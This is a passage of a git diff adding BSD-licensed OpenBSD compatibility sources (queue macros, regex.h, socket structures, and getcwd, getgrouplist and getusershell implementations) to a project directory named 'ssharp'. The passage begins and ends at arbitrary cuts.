field) do { \ + if (((elm2)->field.le_next = (elm)->field.le_next) != NULL) \ + (elm2)->field.le_next->field.le_prev = \ + &(elm2)->field.le_next; \ + (elm2)->field.le_prev = (elm)->field.le_prev; \ + *(elm2)->field.le_prev = (elm2); \ +} while (0) + +/* + * Simple queue definitions. + */ +#define SIMPLEQ_HEAD(name, type) \ +struct name { \ + struct type *sqh_first; /* first element */ \ + struct type **sqh_last; /* addr of last next element */ \ +} + +#define SIMPLEQ_HEAD_INITIALIZER(head) \ + { NULL, &(head).sqh_first } + +#define SIMPLEQ_ENTRY(type) \ +struct { \ + struct type *sqe_next; /* next element */ \ +} + +/* + * Simple queue access methods. + */ +#define SIMPLEQ_FIRST(head) ((head)->sqh_first) +#define SIMPLEQ_END(head) NULL +#define SIMPLEQ_EMPTY(head) (SIMPLEQ_FIRST(head) == SIMPLEQ_END(head)) +#define SIMPLEQ_NEXT(elm, field) ((elm)->field.sqe_next) + +#define SIMPLEQ_FOREACH(var, head, field) \ + for((var) = SIMPLEQ_FIRST(head); \ + (var) != SIMPLEQ_END(head); \ + (var) = SIMPLEQ_NEXT(var, field)) + +/* + * Simple queue functions. + */ +#define SIMPLEQ_INIT(head) do { \ + (head)->sqh_first = NULL; \ + (head)->sqh_last = &(head)->sqh_first; \ +} while (0) + +#define SIMPLEQ_INSERT_HEAD(head, elm, field) do { \ + if (((elm)->field.sqe_next = (head)->sqh_first) == NULL) \ + (head)->sqh_last = &(elm)->field.sqe_next; \ + (head)->sqh_first = (elm); \ +} while (0) + +#define SIMPLEQ_INSERT_TAIL(head, elm, field) do { \ + (elm)->field.sqe_next = NULL; \ + *(head)->sqh_last = (elm); \ + (head)->sqh_last = &(elm)->field.sqe_next; \ +} while (0) + +#define SIMPLEQ_INSERT_AFTER(head, listelm, elm, field) do { \ + if (((elm)->field.sqe_next = (listelm)->field.sqe_next) == NULL)\ + (head)->sqh_last = &(elm)->field.sqe_next; \ + (listelm)->field.sqe_next = (elm); \ +} while (0) + +#define SIMPLEQ_REMOVE_HEAD(head, elm, field) do { \ + if (((head)->sqh_first = (elm)->field.sqe_next) == NULL) \ + (head)->sqh_last = &(head)->sqh_first; \ +} while (0) + +/* + * Tail queue definitions. + */ +#define TAILQ_HEAD(name, type) \ +struct name { \ + struct type *tqh_first; /* first element */ \ + struct type **tqh_last; /* addr of last next element */ \ +} + +#define TAILQ_HEAD_INITIALIZER(head) \ + { NULL, &(head).tqh_first } + +#define TAILQ_ENTRY(type) \ +struct { \ + struct type *tqe_next; /* next element */ \ + struct type **tqe_prev; /* address of previous next element */ \ +} + +/* + * tail queue access methods + */ +#define TAILQ_FIRST(head) ((head)->tqh_first) +#define TAILQ_END(head) NULL +#define TAILQ_NEXT(elm, field) ((elm)->field.tqe_next) +#define TAILQ_LAST(head, headname) \ + (*(((struct headname *)((head)->tqh_last))->tqh_last)) +/* XXX */ +#define TAILQ_PREV(elm, headname, field) \ + (*(((struct headname *)((elm)->field.tqe_prev))->tqh_last)) +#define TAILQ_EMPTY(head) \ + (TAILQ_FIRST(head) == TAILQ_END(head)) + +#define TAILQ_FOREACH(var, head, field) \ + for((var) = TAILQ_FIRST(head); \ + (var) != TAILQ_END(head); \ + (var) = TAILQ_NEXT(var, field)) + +#define TAILQ_FOREACH_REVERSE(var, head, field, headname) \ + for((var) = TAILQ_LAST(head, headname); \ + (var) != TAILQ_END(head); \ + (var) = TAILQ_PREV(var, headname, field)) + +/* + * Tail queue functions. + */ +#define TAILQ_INIT(head) do { \ + (head)->tqh_first = NULL; \ + (head)->tqh_last = &(head)->tqh_first; \ +} while (0) + +#define TAILQ_INSERT_HEAD(head, elm, field) do { \ + if (((elm)->field.tqe_next = (head)->tqh_first) != NULL) \ + (head)->tqh_first->field.tqe_prev = \ + &(elm)->field.tqe_next; \ + else \ + (head)->tqh_last = &(elm)->field.tqe_next; \ + (head)->tqh_first = (elm); \ + (elm)->field.tqe_prev = &(head)->tqh_first; \ +} while (0) + +#define TAILQ_INSERT_TAIL(head, elm, field) do { \ + (elm)->field.tqe_next = NULL; \ + (elm)->field.tqe_prev = (head)->tqh_last; \ + *(head)->tqh_last = (elm); \ + (head)->tqh_last = &(elm)->field.tqe_next; \ +} while (0) + +#define TAILQ_INSERT_AFTER(head, listelm, elm, field) do { \ + if (((elm)->field.tqe_next = (listelm)->field.tqe_next) != NULL)\ + (elm)->field.tqe_next->field.tqe_prev = \ + &(elm)->field.tqe_next; \ + else \ + (head)->tqh_last = &(elm)->field.tqe_next; \ + (listelm)->field.tqe_next = (elm); \ + (elm)->field.tqe_prev = &(listelm)->field.tqe_next; \ +} while (0) + +#define TAILQ_INSERT_BEFORE(listelm, elm, field) do { \ + (elm)->field.tqe_prev = (listelm)->field.tqe_prev; \ + (elm)->field.tqe_next = (listelm); \ + *(listelm)->field.tqe_prev = (elm); \ + (listelm)->field.tqe_prev = &(elm)->field.tqe_next; \ +} while (0) + +#define TAILQ_REMOVE(head, elm, field) do { \ + if (((elm)->field.tqe_next) != NULL) \ + (elm)->field.tqe_next->field.tqe_prev = \ + (elm)->field.tqe_prev; \ + else \ + (head)->tqh_last = (elm)->field.tqe_prev; \ + *(elm)->field.tqe_prev = (elm)->field.tqe_next; \ +} while (0) + +#define TAILQ_REPLACE(head, elm, elm2, field) do { \ + if (((elm2)->field.tqe_next = (elm)->field.tqe_next) != NULL) \ + (elm2)->field.tqe_next->field.tqe_prev = \ + &(elm2)->field.tqe_next; \ + else \ + (head)->tqh_last = &(elm2)->field.tqe_next; \ + (elm2)->field.tqe_prev = (elm)->field.tqe_prev; \ + *(elm2)->field.tqe_prev = (elm2); \ +} while (0) + +/* + * Circular queue definitions. + */ +#define CIRCLEQ_HEAD(name, type) \ +struct name { \ + struct type *cqh_first; /* first element */ \ + struct type *cqh_last; /* last element */ \ +} + +#define CIRCLEQ_HEAD_INITIALIZER(head) \ + { CIRCLEQ_END(&head), CIRCLEQ_END(&head) } + +#define CIRCLEQ_ENTRY(type) \ +struct { \ + struct type *cqe_next; /* next element */ \ + struct type *cqe_prev; /* previous element */ \ +} + +/* + * Circular queue access methods + */ +#define CIRCLEQ_FIRST(head) ((head)->cqh_first) +#define CIRCLEQ_LAST(head) ((head)->cqh_last) +#define CIRCLEQ_END(head) ((void *)(head)) +#define CIRCLEQ_NEXT(elm, field) ((elm)->field.cqe_next) +#define CIRCLEQ_PREV(elm, field) ((elm)->field.cqe_prev) +#define CIRCLEQ_EMPTY(head) \ + (CIRCLEQ_FIRST(head) == CIRCLEQ_END(head)) + +#define CIRCLEQ_FOREACH(var, head, field) \ + for((var) = CIRCLEQ_FIRST(head); \ + (var) != CIRCLEQ_END(head); \ + (var) = CIRCLEQ_NEXT(var, field)) + +#define CIRCLEQ_FOREACH_REVERSE(var, head, field) \ + for((var) = CIRCLEQ_LAST(head); \ + (var) != CIRCLEQ_END(head); \ + (var) = CIRCLEQ_PREV(var, field)) + +/* + * Circular queue functions. + */ +#define CIRCLEQ_INIT(head) do { \ + (head)->cqh_first = CIRCLEQ_END(head); \ + (head)->cqh_last = CIRCLEQ_END(head); \ +} while (0) + +#define CIRCLEQ_INSERT_AFTER(head, listelm, elm, field) do { \ + (elm)->field.cqe_next = (listelm)->field.cqe_next; \ + (elm)->field.cqe_prev = (listelm); \ + if ((listelm)->field.cqe_next == CIRCLEQ_END(head)) \ + (head)->cqh_last = (elm); \ + else \ + (listelm)->field.cqe_next->field.cqe_prev = (elm); \ + (listelm)->field.cqe_next = (elm); \ +} while (0) + +#define CIRCLEQ_INSERT_BEFORE(head, listelm, elm, field) do { \ + (elm)->field.cqe_next = (listelm); \ + (elm)->field.cqe_prev = (listelm)->field.cqe_prev; \ + if ((listelm)->field.cqe_prev == CIRCLEQ_END(head)) \ + (head)->cqh_first = (elm); \ + else \ + (listelm)->field.cqe_prev->field.cqe_next = (elm); \ + (listelm)->field.cqe_prev = (elm); \ +} while (0) + +#define CIRCLEQ_INSERT_HEAD(head, elm, field) do { \ + (elm)->field.cqe_next = (head)->cqh_first; \ + (elm)->field.cqe_prev = CIRCLEQ_END(head); \ + if ((head)->cqh_last == CIRCLEQ_END(head)) \ + (head)->cqh_last = (elm); \ + else \ + (head)->cqh_first->field.cqe_prev = (elm); \ + (head)->cqh_first = (elm); \ +} while (0) + +#define CIRCLEQ_INSERT_TAIL(head, elm, field) do { \ + (elm)->field.cqe_next = CIRCLEQ_END(head); \ + (elm)->field.cqe_prev = (head)->cqh_last; \ + if ((head)->cqh_first == CIRCLEQ_END(head)) \ + (head)->cqh_first = (elm); \ + else \ + (head)->cqh_last->field.cqe_next = (elm); \ + (head)->cqh_last = (elm); \ +} while (0) + +#define CIRCLEQ_REMOVE(head, elm, field) do { \ + if ((elm)->field.cqe_next == CIRCLEQ_END(head)) \ + (head)->cqh_last = (elm)->field.cqe_prev; \ + else \ + (elm)->field.cqe_next->field.cqe_prev = \ + (elm)->field.cqe_prev; \ + if ((elm)->field.cqe_prev == CIRCLEQ_END(head)) \ + (head)->cqh_first = (elm)->field.cqe_next; \ + else \ + (elm)->field.cqe_prev->field.cqe_next = \ + (elm)->field.cqe_next; \ +} while (0) + +#define CIRCLEQ_REPLACE(head, elm, elm2, field) do { \ + if (((elm2)->field.cqe_next = (elm)->field.cqe_next) == \ + CIRCLEQ_END(head)) \ + (head).cqh_last = (elm2); \ + else \ + (elm2)->field.cqe_next->field.cqe_prev = (elm2); \ + if (((elm2)->field.cqe_prev = (elm)->field.cqe_prev) == \ + CIRCLEQ_END(head)) \ + (head).cqh_first = (elm2); \ + else \ + (elm2)->field.cqe_prev->field.cqe_next = (elm2); \ +} while (0) + +#endif /* !_SYS_QUEUE_H_ */ diff --git a/other/ssharp/openbsd-compat/fake-regex.h b/other/ssharp/openbsd-compat/fake-regex.h new file mode 100644 index 0000000..8f7f6ed --- /dev/null +++ b/other/ssharp/openbsd-compat/fake-regex.h @@ -0,0 +1,106 @@ +/* $OpenBSD: regex.h,v 1.3 1997/09/21 10:45:48 niklas Exp $ */ +/* $NetBSD: regex.h,v 1.4.6.1 1996/06/10 18:57:07 explorer Exp $ */ + +/*- + * Copyright (c) 1992 Henry Spencer. + * Copyright (c) 1992, 1993 + * The Regents of the University of California. All rights reserved. + * + * This code is derived from software contributed to Berkeley by + * Henry Spencer of the University of Toronto. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#)regex.h 8.1 (Berkeley) 6/2/93 + */ + +#ifndef _REGEX_H_ +#define _REGEX_H_ + +#include + +/* types */ +typedef off_t regoff_t; + +typedef struct { + int re_magic; + size_t re_nsub; /* number of parenthesized subexpressions */ + const char *re_endp; /* end pointer for REG_PEND */ + struct re_guts *re_g; /* none of your business :-) */ +} regex_t; + +typedef struct { + regoff_t rm_so; /* start of match */ + regoff_t rm_eo; /* end of match */ +} regmatch_t; + +/* regcomp() flags */ +#define REG_BASIC 0000 +#define REG_EXTENDED 0001 +#define REG_ICASE 0002 +#define REG_NOSUB 0004 +#define REG_NEWLINE 0010 +#define REG_NOSPEC 0020 +#define REG_PEND 0040 +#define REG_DUMP 0200 + +/* regerror() flags */ +#define REG_NOMATCH 1 +#define REG_BADPAT 2 +#define REG_ECOLLATE 3 +#define REG_ECTYPE 4 +#define REG_EESCAPE 5 +#define REG_ESUBREG 6 +#define REG_EBRACK 7 +#define REG_EPAREN 8 +#define REG_EBRACE 9 +#define REG_BADBR 10 +#define REG_ERANGE 11 +#define REG_ESPACE 12 +#define REG_BADRPT 13 +#define REG_EMPTY 14 +#define REG_ASSERT 15 +#define REG_INVARG 16 +#define REG_ATOI 255 /* convert name to number (!) */ +#define REG_ITOA 0400 /* convert number to name (!) */ + +/* regexec() flags */ +#define REG_NOTBOL 00001 +#define REG_NOTEOL 00002 +#define REG_STARTEND 00004 +#define REG_TRACE 00400 /* tracing of execution */ +#define REG_LARGE 01000 /* force large representation */ +#define REG_BACKR 02000 /* force use of backref code */ + +int regcomp(regex_t*, const char*, int); +size_t regerror(int, const regex_t*, char*, size_t); +int regexec(const regex_t*, const char*, size_t, regmatch_t[], int); +void regfree(regex_t*); + +#endif /* !_REGEX_H_ */ diff --git a/other/ssharp/openbsd-compat/fake-socket.h b/other/ssharp/openbsd-compat/fake-socket.h new file mode 100644 index 0000000..b11a974 --- /dev/null +++ b/other/ssharp/openbsd-compat/fake-socket.h @@ -0,0 +1,47 @@ +/* $Id: fake-socket.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _FAKE_SOCKET_H +#define _FAKE_SOCKET_H + +#include "config.h" +#include "sys/types.h" + +#ifndef HAVE_STRUCT_SOCKADDR_STORAGE +# define _SS_MAXSIZE 128 /* Implementation specific max size */ +# define _SS_PADSIZE (_SS_MAXSIZE - sizeof (struct sockaddr)) + +struct sockaddr_storage { + struct sockaddr ss_sa; + char __ss_pad2[_SS_PADSIZE]; +}; +# define ss_family ss_sa.sa_family +#endif /* !HAVE_STRUCT_SOCKADDR_STORAGE */ + +#ifndef IN6_IS_ADDR_LOOPBACK +# define IN6_IS_ADDR_LOOPBACK(a) \ + (((u_int32_t *) (a))[0] == 0 && ((u_int32_t *) (a))[1] == 0 && \ + ((u_int32_t *) (a))[2] == 0 && ((u_int32_t *) (a))[3] == htonl (1)) +#endif /* !IN6_IS_ADDR_LOOPBACK */ + +#ifndef HAVE_STRUCT_IN6_ADDR +struct in6_addr { + u_int8_t s6_addr[16]; +}; +#endif /* !HAVE_STRUCT_IN6_ADDR */ + +#ifndef HAVE_STRUCT_SOCKADDR_IN6 +struct sockaddr_in6 { + unsigned short sin6_family; + u_int16_t sin6_port; + u_int32_t sin6_flowinfo; + struct in6_addr sin6_addr; +}; +#endif /* !HAVE_STRUCT_SOCKADDR_IN6 */ + +#ifndef AF_INET6 +/* Define it to something that should never appear */ +#define AF_INET6 AF_MAX +#endif + +#endif /* !_FAKE_SOCKET_H */ + diff --git a/other/ssharp/openbsd-compat/getcwd.c b/other/ssharp/openbsd-compat/getcwd.c new file mode 100644 index 0000000..de3bacc --- /dev/null +++ b/other/ssharp/openbsd-compat/getcwd.c @@ -0,0 +1,237 @@ +/* + * Copyright (c) 1989, 1991, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "config.h" + +#if !defined(HAVE_GETCWD) + +#if defined(LIBC_SCCS) && !defined(lint) +static char rcsid[] = "$OpenBSD: getcwd.c,v 1.6 2000/07/19 15:25:13 deraadt Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include "includes.h" + +#define ISDOT(dp) \ + (dp->d_name[0] == '.' && (dp->d_name[1] == '\0' || \ + (dp->d_name[1] == '.' && dp->d_name[2] == '\0'))) + +char * +getcwd(char *pt,size_t size) +{ + register struct dirent *dp; + register DIR *dir = NULL; + register dev_t dev; + register ino_t ino; + register int first; + register char *bpt, *bup; + struct stat s; + dev_t root_dev; + ino_t root_ino; + size_t ptsize, upsize; + int save_errno; + char *ept, *eup, *up; + + /* + * If no buffer specified by the user, allocate one as necessary. + * If a buffer is specified, the size has to be non-zero. The path + * is built from the end of the buffer backwards. + */ + if (pt) { + ptsize = 0; + if (!size) { + errno = EINVAL; + return (NULL); + } + ept = pt + size; + } else { + if ((pt = malloc(ptsize = 1024 - 4)) == NULL) + return (NULL); + ept = pt + ptsize; + } + bpt = ept - 1; + *bpt = '\0'; + + /* + * Allocate bytes (1024 - malloc space) for the string of "../"'s. + * Should always be enough (it's 340 levels). If it's not, allocate + * as necessary. Special * case the first stat, it's ".", not "..". + */ + if ((up = malloc(upsize = 1024 - 4)) == NULL) + goto err; + eup = up + MAXPATHLEN; + bup = up; + up[0] = '.'; + up[1] = '\0'; + + /* Save root values, so know when to stop. */ + if (stat("/", &s)) + goto err; + root_dev = s.st_dev; + root_ino = s.st_ino; + + errno = 0; /* XXX readdir has no error return. */ + + for (first = 1;; first = 0) { + /* Stat the current level. */ + if (lstat(up, &s)) + goto err; + + /* Save current node values. */ + ino = s.st_ino; + dev = s.st_dev; + + /* Check for reaching root. */ + if (root_dev == dev && root_ino == ino) { + *--bpt = '/'; + /* + * It's unclear that it's a requirement to copy the + * path to the beginning of the buffer, but it's always + * been that way and stuff would probably break. + */ + memmove(pt, bpt, ept - bpt); + free(up); + return (pt); + } + + /* + * Build pointer to the parent directory, allocating memory + * as necessary. Max length is 3 for "../", the largest + * possible component name, plus a trailing NULL. + */ + if (bup + 3 + MAXNAMLEN + 1 >= eup) { + char *nup; + + if ((nup = realloc(up, upsize *= 2)) == NULL) + goto err; + up = nup; + bup = up; + eup = up + upsize; + } + *bup++ = '.'; + *bup++ = '.'; + *bup = '\0'; + + /* Open and stat parent directory. + * RACE?? - replaced fstat(dirfd(dir), &s) w/ lstat(up,&s) + */ + if (!(dir = opendir(up)) || lstat(up,&s)) + goto err; + + /* Add trailing slash for next directory. */ + *bup++ = '/'; + + /* + * If it's a mount point, have to stat each element because + * the inode number in the directory is for the entry in the + * parent directory, not the inode number of the mounted file. + */ + save_errno = 0; + if (s.st_dev == dev) { + for (;;) { + if (!(dp = readdir(dir))) + goto notfound; + if (dp->d_fileno == ino) + break; + } + } else + for (;;) { + if (!(dp = readdir(dir))) + goto notfound; + if (ISDOT(dp)) + continue; + memmove(bup, dp->d_name, dp->d_namlen + 1); + + /* Save the first error for later. */ + if (lstat(up, &s)) { + if (!save_errno) + save_errno = errno; + errno = 0; + continue; + } + if (s.st_dev == dev && s.st_ino == ino) + break; + } + + /* + * Check for length of the current name, preceding slash, + * leading slash. + */ + if (bpt - pt < dp->d_namlen + (first ? 1 : 2)) { + size_t len, off; + char *npt; + + if (!ptsize) { + errno = ERANGE; + goto err; + } + off = bpt - pt; + len = ept - bpt; + if ((npt = realloc(pt, ptsize *= 2)) == NULL) + goto err; + pt = npt; + bpt = pt + off; + ept = pt + ptsize; + memmove(ept - len, bpt, len); + bpt = ept - len; + } + if (!first) + *--bpt = '/'; + bpt -= dp->d_namlen; + memmove(bpt, dp->d_name, dp->d_namlen); + (void)closedir(dir); + + /* Truncate any file name. */ + *bup = '\0'; + } + +notfound: + /* + * If readdir set errno, use it, not any saved error; otherwise, + * didn't find the current directory in its parent directory, set + * errno to ENOENT. + */ + if (!errno) + errno = save_errno ? save_errno : ENOENT; + /* FALLTHROUGH */ +err: + if (ptsize) + free(pt); + if (up) + free(up); + if (dir) + (void)closedir(dir); + return (NULL); +} + +#endif /* !defined(HAVE_GETCWD) */ diff --git a/other/ssharp/openbsd-compat/getcwd.h b/other/ssharp/openbsd-compat/getcwd.h new file mode 100644 index 0000000..abead5b --- /dev/null +++ b/other/ssharp/openbsd-compat/getcwd.h @@ -0,0 +1,12 @@ +/* $Id: getcwd.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_GETCWD_H +#define _BSD_GETCWD_H +#include "config.h" + +#if !defined(HAVE_GETCWD) + +char *getcwd(char *pt, size_t size); + +#endif /* !defined(HAVE_GETCWD) */ +#endif /* _BSD_GETCWD_H */ diff --git a/other/ssharp/openbsd-compat/getgrouplist.c b/other/ssharp/openbsd-compat/getgrouplist.c new file mode 100644 index 0000000..f7a27c3 --- /dev/null +++ b/other/ssharp/openbsd-compat/getgrouplist.c @@ -0,0 +1,103 @@ +/* + * Copyright (c) 1991, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "includes.h" + +#ifndef HAVE_GETGROUPLIST + +#if defined(LIBC_SCCS) && !defined(lint) +static char rcsid[] = "$OpenBSD: getgrouplist.c,v 1.7 1997/08/19 19:13:27 deraadt Exp $"; +#endif /* LIBC_SCCS and not lint */ + +/* + * get credential + */ +#include +#include +#include + +int +getgrouplist(uname, agroup, groups, grpcnt) + const char *uname; + gid_t agroup; + register gid_t *groups; + int *grpcnt; +{ + register struct group *grp; + register int i, ngroups; + int ret, maxgroups; + int bail; + + ret = 0; + ngroups = 0; + maxgroups = *grpcnt; + + /* + * install primary group + */ + if (ngroups >= maxgroups) { + *grpcnt = ngroups; + return (-1); + } + groups[ngroups++] = agroup; + + /* + * Scan the group file to find additional groups. + */ + setgrent(); + while ((grp = getgrent())) { + if (grp->gr_gid == agroup) + continue; + for (bail = 0, i = 0; bail == 0 && i < ngroups; i++) + if (groups[i] == grp->gr_gid) + bail = 1; + if (bail) + continue; + for (i = 0; grp->gr_mem[i]; i++) { + if (!strcmp(grp->gr_mem[i], uname)) { + if (ngroups >= maxgroups) { + ret = -1; + goto out; + } + groups[ngroups++] = grp->gr_gid; + break; + } + } + } +out: + endgrent(); + *grpcnt = ngroups; + return (ret); +} + +#endif /* HAVE_GETGROUPLIST */ diff --git a/other/ssharp/openbsd-compat/getgrouplist.h b/other/ssharp/openbsd-compat/getgrouplist.h new file mode 100644 index 0000000..8f8e0fc --- /dev/null +++ b/other/ssharp/openbsd-compat/getgrouplist.h @@ -0,0 +1,16 @@ +/* $Id: getgrouplist.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_GETGROUPLIST_H +#define _BSD_GETGROUPLIST_H + +#include "config.h" + +#ifndef HAVE_GETGROUPLIST + +#include + +int getgrouplist(const char *, gid_t, gid_t *, int *); + +#endif + +#endif diff --git a/other/ssharp/openbsd-compat/getusershell.c b/other/ssharp/openbsd-compat/getusershell.c new file mode 100644 index 0000000..b334ba2 --- /dev/null +++ b/other/ssharp/openbsd-compat/getusershell.c @@ -0,0 +1,138 @@ +/* + * Copyright (c) 1985, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "includes.h" +#include "getusershell.h" + +#ifndef HAVE_GETUSERSHELL + +#if defined(LIBC_SCCS) && !defined(lint) +static char rcsid[] = "$OpenBSD: getusershell.c,v 1.2 1996/08/19 08:24:15 tholo Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include +#include + +/* + * Local shells should NOT be added here. They should be added in + * /etc/shells. + */ + +static char *okshells[] = { _PATH_BSHELL, _PATH_CSHELL, NULL }; +static char **curshell, **shells, *strings; +static char **initshells __P((void)); + +/* + * Get a list of shells from _PATH_SHELLS, if it exists. + */ +char * +getusershell() +{ + char *ret; + + if (curshell == NULL) + curshell = initshells(); + ret = *curshell; + if (ret != NULL) + curshell++; + return (ret); +} + +void +endusershell() +{ + + if (shells != NULL) + free(shells); + shells = NULL; + if (strings != NULL) + free(strings); + strings = NULL; + curshell = NULL; +} + +void +setusershell() +{ + + curshell = initshells(); +} + +static char ** +initshells() +{ + register char **sp, *cp; + register FILE *fp; + struct stat statb; + + if (shells != NULL) + free(shells); + shells = NULL; + if (strings != NULL) + free(strings); + strings = NULL; + if ((fp = fopen(_PATH_SHELLS, "r")) == NULL) + return (okshells); + if (fstat(fileno(fp), &statb) == -1) { + (void)fclose(fp); + return (okshells); + } + if ((strings = malloc((u_int)statb.st_size)) == NULL) { + (void)fclose(fp); + return (okshells); + } + shells = calloc((unsigned)statb.st_size / 3, sizeof (char *)); + if (shells == NULL) { + (void)fclose(fp); + free(strings); + strings = NULL; + return (okshells); + } + sp = shells; + cp = strings; + while (fgets(cp, MAXPATHLEN + 1, fp) != NULL) { + while (*cp != '#' && *cp != '/' && *cp != '\0') + cp++; + if (*cp == '#' || *cp == '\0') + continue; + *sp++ = cp; + while (!isspace(*cp) && *cp != '#' && *cp != '\0') + cp++; + *cp++ = '\0'; + } + *sp = NULL; + (void)fclose(fp); + return (shells); +} + +#endif /* HAVE_GETUSERSHELL */ diff --git a/other/ssharp/openbsd-compat/getusershell.h b/other/ssharp/openbsd-compat/getusershell.h new file mode 100644 index 0000000..cb4e62c --- /dev/null +++ b/other/ssharp/openbsd-compat/getusershell.h @@ -0,0 +1,16 @@ +/* $Id: getusershell.h,v 